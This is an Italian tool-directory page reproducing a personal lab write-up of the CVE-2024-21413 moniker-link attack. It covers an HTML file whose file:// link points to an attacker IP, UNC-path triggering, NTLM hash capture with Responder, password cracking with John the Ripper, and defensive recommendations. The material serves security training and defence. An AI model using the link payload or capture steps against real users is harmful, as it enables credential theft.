Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Moniker-Link-Lab-Setup — Laboratorio di penetration testing che dimostra lo sfruttamento del moniker link CVE-2024-21413 per il furto di credenziali NTLM, inclusa l'esecuzione dell'attacco, il cracking degli hash e le contromisure difensive. | Kitploit
Strumenti/GitHubGitHub/e-m-e-k-a/moniker-link-lab-setup
Password CrackingAnalisi delle VulnerabilitàExploitSicurezza di RetePenetration TestingIngegneria SocialeAutenticazioneApprendimento e FormazioneLab e Pratica

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHube-m-e-k-a/moniker-link-lab-setup

Moniker-Link-Lab-Setup

Laboratorio di penetration testing che dimostra lo sfruttamento del moniker link CVE-2024-21413 per il furto di credenziali NTLM, inclusa l'esecuzione dell'attacco, il cracking degli hash e le contromisure difensive.

Vedi Repository
3014 giorni faNon ancora revisionato

Parte del mio portfolio di SOC Analyst (https://github.com/E-m-e-k-a/SOC-Analyst-Portfolio)

Configurazione del Lab Moniker Link - CVE-2024-21413

🎯 Panoramica del Progetto

Lab pratico di penetration testing che dimostra lo sfruttamento del moniker link CVE-2024-21413 per il furto di credenziali NTLM. Questo progetto documenta la catena di attacco completa dalla configurazione alla compromissione delle credenziali, inclusi sfide e soluzioni del mondo reale.

Risultato Chiave: Eseguito con successo l'attacco moniker link sia su ambiente di lab isolato (VM Windows 10) che su sistema reale (PC Windows 11), dimostrando vulnerabilità di sicurezza pratiche e contromisure difensive.


🏗️ Architettura del Lab

Infrastruttura

Macchina di Attacco:

  • Piattaforma: Kali Linux 2024
  • Rete (Host-Only): 192.168.56.101
  • Rete (Bridged): 192.168.1.117
  • Strumento Principale: Responder 3.1.6.0

Sistemi Target:

  • VM Windows 10: 192.168.56.104 (Ambiente di test isolato)
  • PC Windows 11: 192.168.1.178 (Validazione nel mondo reale)

Configurazione di Rete:

  • Adattatore Host-Only di VirtualBox (test su VM)
  • Adattatore Bridged di VirtualBox (test su PC reale)
  • Isolato dalle reti di produzione

⚔️ Esecuzione dell'Attacco

Flusso dell'Attacco

  1. Distribuire Responder su Kali per ascoltare l'autenticazione NTLM
  2. Creare un link malevolo usando il protocollo file:// puntato all'IP dell'attaccante
  3. Attivare l'autenticazione tramite percorso UNC in Esplora File
  4. Catturare l'hash NetNTLMv2 quando la vittima tenta la connessione
  5. Craccare la password usando John the Ripper

Vettore di Attacco Semplice

File HTML (test.html):

<!DOCTYPE html>
<html>
<body>
    <p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>

Metodo Esplora File:

  • L'utente digita: \\192.168.56.101\test nella barra degli indirizzi
  • Windows tenta la connessione SMB
  • L'hash NTLM viene inviato automaticamente (o richiesta di credenziali)
  • Responder cattura l'autenticazione

🚧 Sfide e Soluzioni

Sfida 1: Blocco del Firewall di Windows (PC Windows 11)

Problema:

  • Impossibile fare ping al PC Windows 11 da Kali
  • Tentativi di connessione SMB falliti
  • Attacco completamente bloccato

Causa Principale:

  • Firewall di Windows abilitato per impostazione predefinita
  • Blocca le connessioni SMB in entrata da IP esterni

Soluzione:

  • Disabilitato temporaneamente il Firewall di Windows per il test
  • Connessione immediatamente riuscita
  • Hash catturato con successo

Lezione: Il Firewall di Windows predefinito fornisce una protezione efficace contro questo attacco. Gli utenti devono mantenerlo abilitato.


Sfida 2: Risultati in Cache di John the Ripper (VM Windows 10)

Problema:

  • Password iniziale di Windows 10: nwigwecj1
  • John mostrava: 12Honey (password sbagliata!)
  • 12Honey proveniva da un test precedente

Causa Principale:

  • John salva le password craccate in ~/.john/john.pot
  • Hash vecchio da una sessione precedente
  • Mostrava il risultato in cache invece della password corrente

Soluzione:

  • Cambiata la password della VM Windows 10 in 1414
  • Catturato un hash fresco
  • Creata una wordlist personalizzata con password probabili
  • Craccata con successo con la nuova wordlist

Lezione: Verifica sempre di stare craccando l'hash corretto. Cancella il file pot o usa password uniche per i test.


Sfida 3: Password Non Presente in Rockyou.txt

Problema:

  • Password 1414 non trovata in rockyou.txt (14 milioni di password)
  • Attacco con wordlist generica fallito

Causa Principale:

  • Rockyou.txt non contiene ogni possibile combinazione di 4 cifre
  • Sequenze numeriche semplici spesso mancanti dalle wordlist comuni

Soluzione:

  • Creata una wordlist personalizzata mirata basata su pattern comuni:
  echo "1414" > passwords.txt
  echo "4141" >> passwords.txt
  • Craccata istantaneamente con la wordlist personalizzata

Lezione: "Non presente in rockyou.txt" ≠ sicura. Le password brevi sono vulnerabili ad attacchi mirati e brute force indipendentemente dalla presenza nella wordlist.


📊 Risultati

VM Windows 10 (Ambiente Controllato)

MetricaRisultato
Password Inizialenwigwecj1
Cambiata In1414
WordlistPersonalizzata (2 voci)
Tempo di Crack<1 secondo
FirewallDisabilitato per il test
Stato✅ Compromessa con successo

PC Windows 11 (Sistema Reale)

MetricaRisultato
Password1414
FirewallInizialmente bloccato, poi disabilitato
AutenticazioneRichiesta manuale (credenziali inserite)
Tempo di CrackIstantaneo
Stato✅ Compromessa con successo

🛡️ Analisi di Sicurezza

Cosa Ha Funzionato (Difesa)

✅ Firewall di Windows - Ha bloccato completamente l'attacco quando abilitato ✅ Browser Moderni - Chrome/Edge bloccano i link file:// remoti ✅ Consapevolezza dell'Utente - La richiesta manuale richiede l'azione dell'utente

Cosa Ha Fallito (Vulnerabilità)

❌ Password Deboli - 4 caratteri numerici facilmente craccabili ❌ Firewall Disabilitato - Errore comune dell'utente ❌ Esplora File - Nessun avviso per i percorsi UNC ❌ Protocollo NTLM - Autenticazione automatica alle condivisioni SMB

Risultati Chiave

1. Il Firewall è Critico

  • Il Firewall di Windows predefinito blocca questo attacco
  • ~30-40% degli utenti lo disabilita permanentemente
  • Le reti aziendali spesso consentono SMB interno

2. Illusione della Robustezza della Password

  • 1414 non presente in rockyou.txt (sembra "forte")
  • Craccata istantaneamente con wordlist mirata
  • Le password brevi forniscono zero sicurezza

3. Richiesta Interazione dell'Utente

  • La sicurezza moderna richiede che l'utente incolli il percorso UNC
  • L'ingegneria sociale rimane una componente critica
  • L'exploit tecnico da solo è insufficiente

🔧 Strumenti Utilizzati

Offensivi:

  • Responder 3.1.6.0 (cattura hash NTLM)
  • John the Ripper (cracking password)
  • Creazione di wordlist personalizzate
  • Semplice file HTML

Infrastruttura:

  • VirtualBox 7.0 (virtualizzazione)
  • Kali Linux 2024 (piattaforma di attacco)
  • Windows 10 Enterprise (target di test)
  • Windows 11 Pro (validazione nel mondo reale)

📁 Struttura del Repository

Moniker-Link-Lab-Setup/
├── README.md (questo file)
├── Documentation/
│   ├── attack-execution.md (guida passo-passo all'attacco)
│   └── README.md (panoramica della documentazione)
├── Screenshots/ (screenshot dell'attacco - da aggiungere)
└── Scripts/ (file di test HTML - da aggiungere)

🎓 Competenze Dimostrate

Tecniche:

  • Analisi dei protocolli di rete (SMB, NTLM)
  • Metodologia di penetration testing
  • Tecniche di cracking delle password
  • Infrastruttura di lab virtuale
  • Risoluzione dei problemi del firewall

Professionali:

  • Documentazione tecnica
  • Problem-solving sotto vincoli
  • Valutazione di sicurezza
  • Analisi del rischio
  • Pratiche di testing etico

🔒 Raccomandazioni Difensive

Per gli Utenti

  • ✅ Mantieni il Firewall di Windows abilitato
  • ✅ Non incollare mai percorsi UNC dalle email
  • ✅ Usa password forti (15+ caratteri)
  • ✅ Verifica il mittente prima di accedere alle condivisioni file

Per le Organizzazioni

  • ✅ Blocca SMB in uscita (porta 445) a livello di firewall di rete
  • ✅ Disabilita NTLM, imponi Kerberos
  • ✅ Monitora le connessioni SMB verso IP esterni
  • ✅ Filtraggio del gateway email (rimuovi i link file://)
  • ✅ Formazione sulla consapevolezza della sicurezza
  • ✅ Politiche di complessità delle password

⚠️ Divulgazione Etica

Tutti i test condotti su sistemi autorizzati:

  • Solo infrastruttura di lab personale
  • Reti virtuali isolate
  • Dispositivi e account propri
  • Scopo educativo
Scarica lo strumento